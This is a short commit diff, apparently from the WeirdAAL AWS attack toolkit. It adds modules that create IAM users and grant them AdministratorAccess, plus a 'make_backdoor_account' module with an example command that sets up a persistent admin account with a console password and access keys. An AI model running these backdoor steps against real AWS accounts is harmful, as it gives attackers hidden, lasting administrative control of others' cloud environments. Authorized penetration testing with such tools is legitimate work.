tabs to spaces
This commit is contained in:
@@ -66,8 +66,20 @@ def module_iam_delete_access_key(*text):
|
||||
'''
|
||||
iam_delete_access_key(text[0][0], text[0][1])
|
||||
|
||||
#create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
|
||||
#make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
|
||||
|
||||
def module_iam_create_user(*text):
|
||||
'''
|
||||
create a IAM user with the specified username
|
||||
'''
|
||||
iam_create_user(text[0][0])
|
||||
|
||||
|
||||
def module_iam_make_admin(*text):
|
||||
'''
|
||||
attach the admin policy ['arn:aws:iam::aws:policy/AdministratorAccess'] to the specified user
|
||||
'''
|
||||
iam_make_admin(text[0][0])
|
||||
|
||||
|
||||
def module_iam_make_backdoor_account(*text):
|
||||
'''
|
||||
@@ -76,5 +88,6 @@ def module_iam_make_backdoor_account(*text):
|
||||
iam_make_admin(username)
|
||||
iam_create_user_console_password(username, password)
|
||||
iam_create_access_key(username)
|
||||
python3 weirdAAL.py -m iam_make_backdoor_account -a 'secureyershit','HackTh3Planet!' -t yolo
|
||||
'''
|
||||
iam_make_backdoor_account(text[0][0], text[0][1])
|
||||
|
||||
Reference in New Issue
Block a user